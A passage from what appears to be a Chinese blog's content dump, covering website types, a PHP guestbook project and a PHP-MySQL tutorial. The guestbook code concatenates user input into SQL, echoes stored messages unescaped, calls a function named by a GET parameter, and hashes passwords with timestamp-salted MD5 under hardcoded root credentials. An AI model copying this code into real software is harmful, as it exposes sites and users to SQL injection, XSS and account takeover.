PHP/Python/Perl)常常被用作服务端的软件组合.服务器托管着Web应用程序,处理来自浏览器的请求,执行应用逻辑,访问数据库,并将结果返回给浏览器呈现.这种模式已经成为现代Web应用开发的主流架构. 静态网站 静态网站是最基础的网站类型,其创建简单,不要求开发者具备网络编程或数据库设计的专业技能.这类网站的内容是静态的,意味着网页上显示的信息是不会自动更新或改变的.每一个静态页面都是用HTML(HyperText Markup Language)语言编写,其中的代码对于每个访问者来说都是相同的. 每个HTML文件都存储在服务器的硬盘上,当用户发起请求访问网站时,服务器将这些文件从存储中检索出来,通过网络发送给用户的浏览器.浏览器接收到这些HTML文件后,解析并显示成网页供用户浏览.由于页面是预先编写好的,它们在视觉上类似于印刷品页面,显示固定的内容. 静态网站的HTML文件通常以.htm或.html作为文件扩展名,每个文件对应网站的一个页面.因为内容不会改变,这种类型的网站不适用于需要显示实时信息或交互的场合。然而,它们对于需要展示固定信息的网站来说是理想的选择,比如个人简历、营销宣传页面或项目文档等.静态网站也具有加载速度快、托管成本低、易于优化和维护的优势. 动态网站 动态网站是由能够生成和管理动态内容的网页组成的网站.不同于静态网站, 动态网站包含后台和前台两个部分: 后台是用于维护前台数据的管理界面 前台则是用户实际看到和交互的界面 在动态网站中,我们经常在浏览器地址栏看到包含news.php?id=38的较长链接,这是动态URL的典型特征. 动态URL通常意味着网页内容是实时生成的.这些动态页面不会作为实际文件存储在服务器中,而是通过如ASP、PHP、JSP、ASP.NET、Perl或CGI等编程语言在服务器上实时生成. 那么他们在生成的时候又分为不同的生成模式 https://www.cnblogs.com/ranyonsue/p/12090647.htmlhttps://www.cnblogs.com/ranyonsue/p/12090647.html 动态页面的内容通常存储在数据库中.当用户发出请求时,服务器会根据请求的不同,从数据库中检索内容,并返回相应的网页.这样的设计使网站维护工作量大幅减少,并允许网页内容根据用户需求动态变更. 动态网站提供了许多与用户交互的功能,如用户注册、登录、管理、购买、在线调查和投票等.这些功能是静态网页无法提供的.动态页面的文件扩展名通常为.php、.asp、.jsp等. 这种动态内容的管理往往通过内容管理系统(CMS)来实施.CMS是一种软件系统,位于WEB前端(Web服务器)和后端流程(内容创作、编辑)之间,允许内容创作人员、编辑人员、发布人员提交、修改、审批、发布内容.CMS的强大之处在于,它可以处理文件、表格、图片、数据库数据、视频等各种信息,方便用户将这些内容发布到Internet、Intranet或Extranet网站上. 像DedeCms和WordPress这样的系统是CMS的具体实例,它们支持动态内容的创建、编辑和发布,并且可以通过各种模块来扩展网站的功能.CMS还可以通过内容抓取工具来自动从第三方信息来源获取内容,并将其存储在自己的内容库中,从而实现内容的自动更新和管理. https://www.dedecms.com/https://www.dedecms.com/ https://wordpress.org/https://wordpress.org/ 伪静态 伪静态是一种服务器端技术,用于将动态网页的URL重写成看似静态的URL格式.这种技术的目的是为了提高搜索引擎优化(SEO)并提升用户体验,因为静态URL通常更加简洁、清晰,并且对于用户和搜索引擎更友好. SEO(Search Engine Optimization):汉译为搜索引擎优化。是一种方式:利用搜索引擎的规则提高网站在有关搜索引擎内的自然排名。目的是让其在行业内占据领先地位,获得品牌收益。很大程度上是网站经营者的一种商业行为,将自己或自己公司的排名前移。 https://baike.baidu.com/item/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96/3132https://baike.baidu.com/item/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96/3132 伪静态的工作原理当服务器收到一个伪静态的URL请求时,它会根据预设的规则将这个URL重新解析,映射到相应的动态脚本(如PHP、ASP等)上.这个过程对于访问者来说是透明的,他们看到的是一个静态的URL,但实际上服务器在背后执行的是动态页面的生成. 伪静态的表现形式 URL结构:一个典型的动态URL可能包含问号和多个参数,例如:www.example.com/products.php?id=1&category=2.而使用伪静态技术后,这个URL可能看上去像这样:www.example.com/products/1-2.html. 文件扩展名:虽然伪静态URL看上去好像是以.html、.htm或其他静态页面的扩展名结尾,但实际上它们背后是由动态脚本处理的. 伪静态的实现方式 Apache服务器:可以通过mod_rewrite模块和.htaccess文件来设置URL重写规则. Nginx服务器:通过配置文件中的rewrite指令来实现URL的重写. 优点 改善用户体验,因为URL简洁明了,更容易记忆. 对搜索引擎更加友好,有助于提升网页的SEO排名. 可以隐藏底层技术,提高网站的安全性. 缺点 需要服务器处理额外的URL重写逻辑,可能会增加CPU负担. URL重写规则可能变得复杂,需要技术人员进行维护和更新. 下表整合了静态网站、动态网站以及伪静态的特点,并展示了它们之间的比较: 特性/类型 静态网站 动态网站 伪静态 页面内容 预建且不变,除非手动更新文件 实时生成,内容随用户请求或数据库更新而变化 动态生成但以静态文件格式呈现,不生成实体静态文件 编码方式 HTML 服务器端语言如PHP,JSP,ASP.NET等 同动态网站,使用服务器端语言如PHP,但结合URL重写技术 响应类型 对每个请求发送完全相同的响应 根据请求和服务器端代码生成定制化HTML 看似静态的相同响应,实际上是动态生成的内容 内容更新 仅当手动发布和更新文件时内容才变更 服务器端代码允许内容根据数据库或用户输入实时更新 通过动态脚本实现内容的实时更新,但对用户和搜索引擎展示为静态页面 优势 服务器压力小,对搜索引擎友好 强大的CMS,能够实现复杂交互功能 结合了静态和动态的优点,即时更新内容而保持URL对搜索引擎友好 缺点 内容更新不实时,需要重新生成页面,可能占用更多空间和服务器资源 页面生成可能增加服务器负担 增加服务器CPU负担,复杂的URL重写规则可能需要技术性维护 适用场景 简单网站,内容更新不频繁的网站 需要用户交互,内容频繁更新的网站 需要动态内容但同时想保持URL静态化以优化搜索引擎排名的网站 搜索引擎优化(SEO) 友好,因为内容是固定的 取决于实施方式,但通常可以通过适当的URL结构和内容管理进行优化 对搜索引擎友好,因为URL是静态的,易于爬虫索引 示例 个人简历网站、小型公司展示网站 电子商务网站、新闻门户网站 博客平台、论坛、商业网站,需要动态内容但希望URL静态化的网站 伪静态的实现通常是通过服务器软件(如Apache的mod_rewrite模块或Nginx的URL重写规则)来将动态URL重写为静态URL的形式。这样,用户和搜索引擎看到的是静态URL,但实际上服务器在后台执行的是动态页面处理。这样做的好处是对搜索引擎更为友好,因为静态URL通常更易于索引,同时用户看到的地址更加清晰易懂。然而,这种方法增加了服务器负担,特别是CPU资源的使用,因为服务器必须处理额外的URL重写逻辑。 脚本语言与网络架构及数据库对应关系 ASP (Active Server Pages) 常用数据库: Access, MSSQL 运行环境: Windows, IIS (Internet Information Services) ASP.NET (.aspx) 常用数据库: MSSQL 运行环境: Windows, IIS PHP (Hypertext Preprocessor) 常用数据库: MySQL (大部分), 但也可与其他数据库如PostgreSQL, Oracle, MSSQL等配合使用 运行环境: 主要Linux, 也可在Windows; 通常搭配Apache/HTTPd, Nginx, 亦可在Windows IIS中运行 JSP (JavaServer Pages) 常用数据库: Oracle, MSSQL, MySQL 运行环境: 跨平台,可以在任何支持Java的服务器上运行,包括但不限于Tomcat, Jetty, WebSphere, JBoss,WebLogic等 数据库默认端口 MySQL: 3306 MSSQL: 1433 Oracle: 1521 PostgreSQL: 5432 MongoDB: 27017, 27018 Redis: 6379 Sybase/DB2: 5000 Access数据库: 不使用端口(基于文件的数据库) 常见HTTP默认端口 HTTP (Hypertext Transfer Protocol): 80 HTTPS (HTTP Secure): 443 常见自定义HTTP端口 8080 8888 8000 …. 端口号可以被配置成任何其他可用的数字,上面列出的是标准的、最常见的配置。在实际部署时,某些端口可能会根据具体的安全策略、系统架构或个人喜好进行调整","tags":["Centos","Mysql","数据库","Linux","PHP","Apache","OpenResty","SSL"],"categories":["安全运维","Web服务器"]},{"title":"PHP-留言板项目","path":"/2023/09/08/c3682c7d/","content":"总字符数: 20.34K 代码: 19.71K, 文本: 0.43K 预计阅读时间: 1.46 小时 CSS样式编写style.css123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134body { background-color: #f0f0f0; font-family: Arial, sans-serif;}h1 { text-align: center; color: #333; margin-top: 50px;}table { margin: auto; border-collapse: collapse; width: 80%; background-color: #fff; margin-bottom: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);}th, td { padding: 10px; border: 1px solid #ccc; text-align: left;}th { background-color: #f2f2f2; font-weight: bold;}input[type=text], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=password], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=email], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=number], textarea { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; margin-top: 6px; margin-bottom: 16px; resize: vertical;}input[type=submit] { background-color: #4CAF50; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; margin: 0 auto; display: block;}input[type=submit]:hover { background-color: #45a049;}.message-actions { text-align: center; margin-top: 10px;}.message-actions a { margin: 0 5px; padding: 6px 10px; background-color: #4CAF50; color: white; text-decoration: none; border-radius: 4px; font-size: 14px;}.message-actions a:hover { background-color: #45a049;}.clearfix::after { content: ""; clear: both; display: table;}/* 修改密码表单 */.form-container { margin-bottom: 10px;}/* 登出按钮 */.logout-button { text-align: center; margin-top: 10px;}.avatar { width: 200px; height: 200px; border-radius: 50%; overflow: hidden; display: flex; justify-content: center; align-items: center; margin: 0 auto 1%; /* 添加此行以实现水平居中 */}.avatar img { width: 100%; height: auto; display: block;} 安装页面编写conn.php12345678910<?php$hostname = 'localhost';$username = 'root';$password = 'root';$database = 'frontenddb';$conn = mysqli_connect($hostname, $username, $password,$database);if (!$conn) { echo "无法连接到数据库服务器: " . mysqli_error(); exit;} ==按照安全要求的话,安装完成后请把安装文件给删掉或者禁止执行== install.php123456789101112131415161718192021222324252627282930313233343536373839404142434445464748<?php// 连接数据库$hostname = 'localhost';$username = 'root';$password = 'root';$conn = mysqli_connect($hostname, $username, $password);// 判断数据库是否存在,不存在则创建$sqlCheckDatabase = "SHOW DATABASES LIKE 'FrontendDB'";$resultCheckDatabase = $conn->query($sqlCheckDatabase);if ($resultCheckDatabase->num_rows == 0) { $sqlCreateDatabase = "CREATE DATABASE IF NOT EXISTS FrontendDB"; $conn->query($sqlCreateDatabase);}// 使用数据库$conn->select_db("FrontendDB");// 创建用户信息表$sqlCreateInfoTable = "CREATE TABLE IF NOT EXISTS UserInfo ( `User ID` INT AUTO_INCREMENT PRIMARY KEY, `Username` VARCHAR(50) NOT NULL, `Password` VARCHAR(50) NOT NULL, `Email` VARCHAR(50), `Phone` CHAR(11), `Sex` CHAR(1), `Age` INT(3), `Address` VARCHAR(100), `Creation time` DATETIME NOT NULL)";$conn->query($sqlCreateInfoTable);// 创建留言评论表$sqlCreateCommentTable = "CREATE TABLE IF NOT EXISTS Comment ( `Message ID` INT AUTO_INCREMENT PRIMARY KEY, `User ID` INT NOT NULL, `Message Text` TEXT , `Message Content` TEXT , `Publish Time` DATETIME NOT NULL, FOREIGN KEY (`User ID`) REFERENCES User(`User ID`))";$conn->query($sqlCreateCommentTable);echo "创建成功!!!!";// 关闭数据库连接$conn->close(); 用户功能实现创建用户注册页面register.php12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758<?php?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>注册页面</title> <link rel="stylesheet" href="../style.css"></head><body><h1>注册页面</h1><table> <form action="" method="POST" class="clearfix"> <tr> <td>用户名</td> <td><input type="text" name="NickName" value=""/></td> </tr> <tr> <td>密码</td> <td><input type="password" name="password" value=""/></td> </tr> <tr> <td>重复密码</td> <td><input type="password" name="repassword" value=""/></td> </tr> <tr> <td>邮箱</td> <td><input type="email" name="email" value=""/></td> </tr> <tr> <td>年龄</td> <td><input type="number" name="age" value=""/></td> </tr> <tr> <td>手机号</td> <td><input type="number" name="phone" value=""/></td> </tr> <tr> <td>性别</td> <td> <input type="radio" name="sex" value="男" id="male" checked> <label for="male">男</label> <input type="radio" name="sex" value="女" id="female"> <label for="female">女</label> </td> <tr> <td>家庭住址</td> <td><input type="text" name="address" value=""/></td> </tr> <tr> <td></td> <td><input type="submit" name="submit" value="注册" /></td> </tr> </form></table></body></html> 创建用户登录页面login.php123456789101112131415161718192021222324252627282930<?php?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>登录页面</title> <link rel="stylesheet" href="../style.css"></head><body><h1>登录页面</h1><table> <form action="" method="POST" class="clearfix"> <tr> <td>用户名</td> <td><input type="text" name="username" value=""/></td> </tr> <tr> <td>密码</td> <td><input type="password" name="password" value=""/></td> </tr> <tr> <td></td> <td><input type="submit" name="submit" value="登录" /></td> </tr> </form></table></body></html> 创建用户详情页面perinf.php123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475<?php?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>用户详情页面</title> <link rel="stylesheet" href="../style.css"></head><body><h1>用户详情页面</h1><!-- 用户头像显示功能 --><div class="avatar"> <img src="http://43.138.77.252/assets/images/favicon.jpg" alt="用户头像"></div><!-- 用户信息展示 --><table> <tr> <td>用户名</td> <td><?php echo $user['Username']; ?></td> </tr> <tr> <td>邮箱</td> <td><?php echo $user['Email']; ?></td> </tr> <tr> <td>手机号</td> <td><?php echo $user['Phone']; ?></td> </tr> <tr> <td>性别</td> <td><?php echo $user['Sex']; ?></td> </tr> <tr> <td>年龄</td> <td><?php echo $user['Age']; ?></td> </tr> <tr> <td>家庭住址</td> <td><?php echo $user['Address']; ?></td> </tr> <tr> <td>注册时间</td> <td><?php echo date_format(new DateTime($user['Creation time']), 'Y-m-d');?></td> </tr></table><!-- 修改密码表单 --><h2>修改密码</h2><div class="form-container"> <form action="" method="POST"> <label for="old_password">当前密码:</label> <input type="password" name="old_password" id="old_password" required><br> <label for="new_password">新密码:</label> <input type="password" name="new_password" id="new_password" required><br> <label for="new_password">重复新密码:</label> <input type="password" name="re_password" id="new_password" required><br> <input type="submit" name="submit" value="修改密码"> </form></div><!-- 登出按钮 --><div class="logout-button"> <form action="logout.php" method="POST"> <input type="submit" name="logout" value="登出"> </form></div></body></html> 注册页面功能实现register.php12345678910111213141516171819202122232425262728293031323334353637383940414243<?phpinclude '../conn.php';if(!empty($_POST['submit']) ){ // 处理注册逻辑 $Nickname = trim($_POST['NickName']); $password = trim($_POST['password']); $repassword = trim($_POST['repassword']); $email = trim($_POST['email']); $age = trim($_POST['age']); $phone = trim($_POST['phone']); $sex = trim($_POST['sex']); $address = trim($_POST['address']); // 基本信息不能为空 if(empty($Nickname)||empty($password)||empty($repassword)){ echo "不允许为空"; exit(); } // 判断两次密码是否一样 if ($password!=$repassword){ echo "两次密码不匹配"; exit(); } // 判断用户名是否已经存在 $sql = "SELECT `Username` FROM userinfo WHERE `Username` = '$Nickname'"; $result = mysqli_query($conn,$sql); $row = mysqli_num_rows($result); if($row>=1){ echo "<script>alert('用户名已存在,请换一个!!!');location.href='register.php';</script>"; exit(); } // 执行注册的代码 $salt = date('Y-m-d H:i:s'); $password = $password.$salt; // password2023-09-01 09:28:00 $password = md5($password); $sql = "insert into userinfo(`Username`,`Password`,`Email`,`Phone`,`Sex`,`Age`,`Address`,`Creation time`) values('$Nickname','$password','$email','$phone','$sex','$age','$address','$salt')"; $result = mysqli_query($conn,$sql); if($result){ echo "<script>alert('用户创建成功!');location.href='login.php';</script>"; }else{ echo "<script>alert('用户创建失败!!!');location.href='register.php';</script>"; }}?> 登录页面功能实现login.php12345678910111213141516171819202122232425262728293031323334353637383940<?phpinclude '../conn.php';session_start();if(!empty($_POST['submit']) ) { $username = trim($_POST['username']); $password = trim($_POST['password']); if (empty($username)&&empty($password)){ echo "账户或密码为空"; exit(); } // 获取用户名对应的salt $user_sql = "SELECT `User ID`,`Username`,`Creation time` FROM userinfo WHERE `Username` = '$username'"; $user_result = mysqli_query($conn,$user_sql); $user_row = mysqli_num_rows($user_result); if($user_row<1){ echo "<script>alert('用户名不存在');location.href='register.php';</script>"; exit(); } $user_row = mysqli_fetch_assoc($user_result); // 将用户名和salt拼接在一起并进行md5加密 $password_md5 = $password.$user_row['Creation time']; $password_md5 = md5($password_md5); // 查询数据库中的用户密码 $pass_sql = "SELECT `Password` FROM userinfo WHERE `Username` = '$username'"; $pass_result = mysqli_query($conn,$pass_sql); $pass_row = mysqli_fetch_assoc($pass_result); $password = $pass_row['Password'];\t// echo "用户输入的密码+salt后的结果:".$password_md5."</br>";\t// echo "数据库中的结果:".$password."</br>"; if($password_md5!==$password){ echo "账户或密码错误!!!"; exit(); } // 1代表登录中,0代表未登录 $_SESSION['is_login'] = 1; $_SESSION['username'] = $user_row['Username']; $_SESSION['user_id'] = $user_row['User ID']; echo "<script>alert('登录成功');location.href='perinf.php';</script>";}?> 详情页面功能实现perinf.php123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051<?phpinclude '../conn.php';session_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='login.php';</script>"; exit();}$username = $_SESSION['username'];$sql = "select * from userinfo where Username = '$username'";$result = mysqli_query($conn,$sql);$user = mysqli_fetch_array($result);// 修改密码功能如下:if (!empty($_POST['submit'])){ $curr_passwd = trim($_POST['old_password']); $new_passwd = trim($_POST['new_password']); $re_passwd = trim($_POST['re_password']); if($new_passwd!==$re_passwd){ echo "<script>alert('两次密码不匹配!!!');</script>"; } // 判断他输入的当前密码+salt是否和数据库中的相等,这里防范的是csrf漏洞 $salt_sql = "SELECT `Username`,`Creation time` FROM userinfo WHERE `Username` = '$username'"; $salt_result = mysqli_query($conn,$salt_sql); $salt_result = mysqli_fetch_array($salt_result); // 将用户名和salt拼接在一起并进行md5加密 $password_md5 = $curr_passwd.$salt_result['Creation time']; $password_md5 = md5($password_md5); // 查询数据库中的用户密码 $pass_sql = "SELECT `Password` FROM userinfo WHERE `Username` = '$username'"; $pass_result = mysqli_query($conn,$pass_sql); $pass_row = mysqli_fetch_array($pass_result); $password = $pass_row['Password'];// echo "用户输入的密码+salt后的结果:".$password_md5."</br>";// echo "数据库中的结果:".$password."</br>"; if($password_md5!=$password){ echo "当前密码不正确!!!"; exit(); } $new_password_md5 = $new_passwd.$salt_result['Creation time']; $new_password_md5 = md5($new_password_md5); $update_sql = "UPDATE userinfo SET `Password` = '$new_password_md5' WHERE `Username` = '$username'"; $update_result = mysqli_query($conn, $update_sql); if ($update_result) { session_unset(); // 销毁 Session session_destroy(); echo "<script>alert('修改成功,请重新登录');location.href='login.php';</script>"; } else { echo "<script>alert('修改失败');</script>"; }}?> 登出页面功能实现logout.php12345678910<?phpsession_start();if (!empty($_POST['logout'])){ // 清除所有 Session 变量 session_unset(); // 销毁 Session session_destroy(); echo "<script>alert('退出成功!!!');location.href='login.php';</script>"; exit();} 留言功能实现创建留言界面guestbook.php12345678910111213141516171819202122232425262728293031323334353637383940414243444546<?phpsession_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='../user/login.php';</script>"; exit();}?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>留言板</title> <link rel="stylesheet" href="../style.css"></head><body><h1>留言板</h1><table> <tr> <th>标题</th> <th>内容</th> <th>昵称</th> <th>时间</th> <th>操作</th> </tr> <tr> <td>留言内容</td> </tr></table><table> <form action="controls.php?fun=message_add" method="POST" class="clearfix"> <tr> <td>标题</td> <td><input type="text" name="txtName" value=""/></td> </tr> <tr> <td>留言内容</td> <td><textarea name="txtMessage" cols="100" rows="6"></textarea></td> </tr> <tr> <td></td> <td><input type="submit" name="submit" value="提交" /></td> </tr> </form></table></body></html> 增加留言功能controls.php12345678910111213141516171819202122232425262728<?phpinclude '../conn.php';session_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='../user/login.php';</script>"; exit();}function message_add($conn,string $user_id ,string $text_name,string $text_content){ if(!empty($text_name)&&!empty($text_content)){ $time = date('Y-m-d H:i:s'); $sql = "insert into comment(`User ID`,`Message Text`,`Message Content`,`Publish Time`) VALUES ('$user_id','$text_name','$text_content','$time')"; if (mysqli_query($conn,$sql)) { echo "<script>alert('留言成功!');location.href='guestbook.php';</script>"; } else { echo "<script>alert('留言失败!');location.href='guestbook.php';</script>"; } } else { echo "不能为空"; exit; }}$fun = $_GET['fun'];$text_name = $_POST['txtName'];$text_content = $_POST['txtMessage'];$userid = $_SESSION['user_id'];$fun($conn,$userid,$text_name,$text_content); 显示留言功能123456789101112131415161718192021222324<h1>留言板</h1><table> <tr> <th>标题</th> <th>内容</th> <th>昵称</th> <th>时间</th> <th>操作</th> </tr><?phpinclude '../conn.php';$sql = "select `Message ID`,`User ID`,`Message Text`,`Message Content`,`Publish Time` from comment order by `Publish Time` desc";$result = mysqli_query($conn,$sql);while($row = mysqli_fetch_array($result)){?> <tr> <td><?php echo $row['Message Text']; ?></td> <td><?php echo $row['Message Content']; ?></td> <td><?php echo $_SESSION['username']; ?></td> <td><?php echo $row['Publish Time']; ?></td> <td><input type="hidden" name="id" value="<?php echo $row['Message ID']; ?>" /></td> </tr></table><?php }?> 修改留言信息12345678<td><?php echo $row['Message Text']; ?></td><td><?php echo $row['Message Content']; ?></td><td><?php echo $row['Publish Time']; ?></td><td class="message-actions"> <a href="edit.php?MessageId=<?php echo $row['Message ID']; ?>">修改</a> <a href="controls.php?fun=message_del&MessageId=<?php echo $row['Message ID']; ?>">删除</a></td><input type="hidden" name="id" value="<?php echo $row['Message ID']; ?>" /> edit.php?MessageId=<?php echo $row['Message ID']; ?> 其中 edit.php 是修改留言的页面,id 是要修改留言的 ID,通过此 ID 可以在留言修改页面将要修改的留言数据显示出来,同时也作为留言修改保存的条件. edit.php123456789101112131415161718192021222324252627282930313233<?phpsession_start();if($_SESSION['is_login']!==1){ echo "<script>alert('请登录!!!');location.href='../user/login.php';</script>"; exit();}?><html><head> <meta charset="utf-8"/> <title>留言板-修改留言</title> <link rel="stylesheet" href="../style.css"></head><body><table width="80%" align="center" border="1" rules="all"> <form action="controls.php?fun=message_update" method="POST"> <tr> <td>标题</td> <td><input type="text" name="MessageText" value="<?php echo $MessageText; ?>"/></td> </tr> <tr> <td>留言内容</td> <td><textarea name="MessageContent" cols="100" rows="6"><?php echo $MessageContent; ?></textarea></td> </tr> <tr> <td><input type="hidden" name="MessageId" value="<?php echo $MessageId; ?>" /></td> <td><input type="submit" name="submit" value="提交" /></td> </tr> </form></table></body></html> 当我们点击修改按钮后是以下样式 我们需要将ID对应的标题和内容显示出来 12345678910111213141516171819202122232425262728<body><?phpinclude "../conn.php";$MessageId = $_GET['MessageId'];if(isset($MessageId)){ $sql = "select * from comment where `Message Id`=$MessageId"; $result = mysqli_query($conn,$sql); $data = mysqli_fetch_array($result); if($data){ $MessageText = $data['Message Text']; $MessageContent = $data['Message Content']; }}?><table width="80%" align="center" border="1" rules="all"> <form action="controls.php?fun=message_update" method="POST"> <tr> <td>标题</td> <td><input type="text" name="MessageText" value="<?php echo $MessageText; ?>"/></td> </tr> <tr> <td>留言内容</td> <td><textarea name="MessageContent" cols="100" rows="6"><?php echo $MessageContent; ?></textarea></td> </tr> <tr> <td><input type="hidden" name="MessageId" value="<?php echo $MessageId; ?>" /></td> <td><input type="submit" name="submit" value="提交" /></td> </tr> 当修改完留言,点击 提交 按钮的时候将留言保存到数据表中 controls.php123456789101112131415161718192021222324252627<?php function message_update($conn,$user_id,int $MessageId,string $text_name,string $text_content){ if(!empty($_POST['submit']) ){ $sql = "update comment set `Message Text`='".$text_name."',`Message Content` ='".$text_content."',`User ID` ='".$user_id."' where `Message Id`=$MessageId"; $result = mysqli_query($conn,$sql); if($result){ echo "<script>alert('留言修改成功!');location.href='guestbook.php';</script>"; }else{ echo "<script>alert('留言修改失败!请重试!');location.href='edit.php?MessageId=$MessageId';</script>"; } }}$fun = $_GET['fun'];switch ($fun){ case $fun=='message_add': $text_name = $_POST['MessageText']; $text_content = $_POST['MessageContent']; $fun($conn,$_SESSION['user_id'],$text_name,$text_content); break; case $fun=='message_update': $MessageId = $_POST['MessageId']; $text_name = $_POST['MessageText']; $text_content = $_POST['MessageContent']; $fun($conn,$_SESSION['user_id'],$MessageId,$text_name,$text_content); break;} 删除留言功能 <a href="controls.php?fun=message_del&MessageId=<?php echo $row['Message ID']; ?>">删除</a> 点击删除链接,跳转到controls.php文件根据通过GET方式传递的参数id进行删除留言操作 1234567891011121314151617<?php\tfunction message_del($conn,int $MessageId){ if(isset($MessageId)){ $sql = "delete from comment where `Message Id`=$MessageId"; $result = mysqli_query($conn,$sql); if($result){ echo "<script>alert('留言删除成功!');location.href='guestbook.php';</script>"; }else{ echo "<script>alert('留言删除失败!');location.href='guestbook.php';</script>"; } }} case $fun=='message_del': $MessageId = $_GET['MessageId']; $fun($conn,$MessageId); break;","tags":["PHP","编程语言"]},{"title":"PHP-MySQL","path":"/2023/09/07/f2a0f176/","content":"总字符数: 11.24K 代码: 7.08K, 文本: 2.06K 预计阅读时间: 40 分钟 一、PHP连接MySQL数据库PHP 编程语言要想操作 MySQL,执行 SQL 语句,进行增删改查,首先必须要与 MYSQL 数据库建立连接,才能进行数据的存储与查询读取.PHP 要想连接 MYSQL 数据库,需要 MySQL 服务器地址、用户名、密码和数据库名称. 实战-PHP 连接 MySQL 数据库面向对象1234567891011121314151617181920//面向对象<?php$servername = "localhost"; // Replace with your database server name$username = "root"; // Replace with your database username$password = "root123"; // Replace with your database password$dbname = "ksxt"; // Replace with your database name// Create connection$conn = new mysqli($servername, $username, $password, $dbname);// Check connectionif ($conn->connect_error) { die("Connection failed: " . $conn->connect_error);}echo "Connected successfully";// Close connection$conn->close();//面向对象关闭连接?> 面向过程12345678910111213141516<?php$servername = "localhost";$username = "root";$password = "root123"; // 创建连接$conn = mysqli_connect($servername, $username, $password); // 检测连接\tif (!$conn) { die("Connection failed: " . mysqli_connect_error());\t}\techo "连接成功";//关闭连接mysqli_close($conn);//面向过程?> 面向对象和面向过程的区别 面向对象和面向过程是两种不同的编程范式,用于组织和设计代码. 在面向过程的编程中,代码主要以过程或函数为中心,通过一系列的函数调用来完成任务.在PHP中,面向过程的方式使用mysqli或PDO扩展来连接和操作MySQL数据库.你需要手动编写连接、查询和关闭连接等功能的代码. 而在面向对象的编程中,代码主要以对象为中心,通过定义和使用类、对象、方法和属性来组织和实现功能.在PHP中,使用面向对象的方式连接MySQL数据库可以使用mysqli或PDO扩展的面向对象接口.你可以创建一个数据库连接对象,通过调用该对象的方法来执行查询、插入、更新等操作.这种方式更加灵活和易于维护,也更符合现代软件开发的需求. 连接数据库好用简洁代码(面向过程)12345678910<?php\t$servername="127.0.0.1";\t$username="root";\t$password="root123";\t$db_name="ksxt";\t$conn = mysqli_connect($servername,$username,$password,$db_name);\tif(!$conn){ die('数据库连接失败'.mysql_connect_error());\t}?> mysqli_connect_error() 函数mysqli_connect_error() 函数返回上一次连接错误的错误描述. 返回值:返回一个描述错误的字符串.如果没有错误发生则返回 NULL. 二、MySQL 语句的执行mysqli_query() 函数mysqli_query() 函数执行某个针对数据库的查询. 语法: 1mysqli_query(connection,query); 参数: connection: 必需.规定要使用的 MySQL 连接. query: 必需,规定查询字符串. 返回值:针对成功的 SELECT、SHOW、DESCRIBE 或 EXPLAIN 查询,将返回一个 mysqli_result 对象.针对其他成功的查询,将返回 TRUE.如果失败,则返回 FALSE. 例:如下例子将执行从ksxt数据库中 user 表中选取user_name="admin"的内容的SQL语句: 1234567891011<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_errno()){ echo "连接失败: " . mysqli_connect_error();}$sql="select * from sys_user where username='admin'";$result = mysqli_query($con,$sql);?> 三、SQL语句查询结果的输出mysqli_fetch_array() 函数mysqli_fetch_array()函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有. 注意:该函数返回的字段名是区分大小写的. 用法: 1mysqli_fetch_array(result,resulttype); 参数: result必需.规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符. resulttype可选.规定应该产生哪种类型的数组.可以是以下值中的一个: MYSQLI_ASSOC MYSQLI_NUM MYSQLI_BOTH 返回值:返回与读取行匹配的字符串数组.如果结果集中没有更多的行则返回 NULL. 例:如下例子将从ksxt数据库中 sys_user 表中选取username="admin" 的password数据: 1234567891011121314151617<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_error()){ echo "连接失败: " . mysqli_connect_error();}$sql="select * from sys_user where user_name='admin'";$result = mysqli_query($con,$sql);while($row = mysqli_fetch_array($result)){ echo $row['user_name'] . " " . $row['password']; echo "<br>";}?> 注:由于mysqli_fetch_array()函数只从结果集中取得一行作为关联数组,那么当查询结果为多行的情况时,便可以结合一个while循环将数据逐行输出,想要输出所有的多行关联数组数据,除了可以mysqli_fetch_array()函数结合while循环,还可以使用mysqli_fetch_all() 函数. 显示结果: mysqli_fetch_all() 函数mysqli_fetch_all()函数从结果集中取得所有行作为关联数组,或数字数组,或二者兼有. 注意:该函数返回的字段名是区分大小写的. 用法: 1mysqli_fetch_all(result,resulttype); 参数: result必需.规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符. resulttype可选.规定应该产生哪种类型的数组.可以是以下值中的一个: MYSQLI_ASSOC MYSQLI_NUM MYSQLI_BOTH 返回值:返回包含结果行的关联数组或数字数组. 例:如下例子将从ksxt数据库中 sys_user 表中选取并输出所有username和password: 1234567891011121314151617<?php$con=mysqli_connect("127.0.0.1","root","root123","ksxt");// 检测连接if (mysqli_connect_error()){ echo 